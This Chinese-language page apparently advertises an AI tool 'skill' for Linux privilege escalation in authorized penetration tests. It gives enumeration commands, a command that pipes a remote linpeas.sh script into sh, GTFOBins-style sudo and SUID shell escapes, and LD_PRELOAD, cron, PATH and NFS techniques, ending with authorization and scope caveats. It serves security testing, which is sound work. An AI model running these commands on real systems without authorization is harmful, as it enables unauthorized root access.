SuperAPI AI 工具集

Linux Privilege Escalation

通用与其它

查看项目

更新于 10-15 20:34

技能介绍

用途:在 Linux 系统上执行系统化的权限提升评估,从低权限 shell 提升至 root,识别并利用配置错误、脆弱服务与安全弱点。

前置条件:目标低权限 shell、可执行命令、必要的反向 shell 网络与攻击机;需理解 Linux 权限与常见工具,了解内核版本相关知识,具备 gcc 编译基础。推荐工具含 LinPEAS、LinEnum、Linux Smart Enumeration、Linux Exploit Suggester、GTFOBins、John/Hashcat、Netcat。

核心流程:一、系统枚举(hostname、uname -a、cat /etc/issue、whoami、id、groups、ip addr、netstat -antup、ps aux、env)。二、自动化枚举:curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh;./LinEnum.sh -t;./lse.sh -l 1;./les.sh。三、内核漏洞:uname -r,searchsploit,编译 gcc exploit.c -o exploit 后执行。四、sudo 利用:sudo -l,参考 GTFOBins,如 sudo vim -c ':!/bin/bash'、sudo find . -exec /bin/sh ; -quit、sudo awk 'BEGIN {system("/bin/bash")}';LD_PRELOAD 场景编译 gcc -fPIC -shared -o shell.so shell.c -nostartfiles。五、SUID:find / -perm -u=s -type f 2>/dev/null;结合 GTFOBins,如 cp /bin/bash /tmp/bash; chmod +s /tmp/bash; /tmp/bash -p。六、capabilities:getcap -r / 2>/dev/null。七、cron:cat /etc/crontab、ls -la /etc/cron.*、systemctl list-timers。八、PATH 劫持与九、NFS(cat /etc/exports,no_root_squash)利用。交付物含 root shell、路径文档、枚举报告、修复建议与证据。

限制:内核漏洞需先在测试环境验证,失败可能崩溃系统;现代内核有 ASLR/SMEP/SMAP 缓解,AppArmor/SELinux 与容器会限制利用,加固系统 sudo 配置受限。必须获得书面授权、遵守范围、及时上报关键发现、不得越权访问数据。具体授权流程与收费标准暂未提供。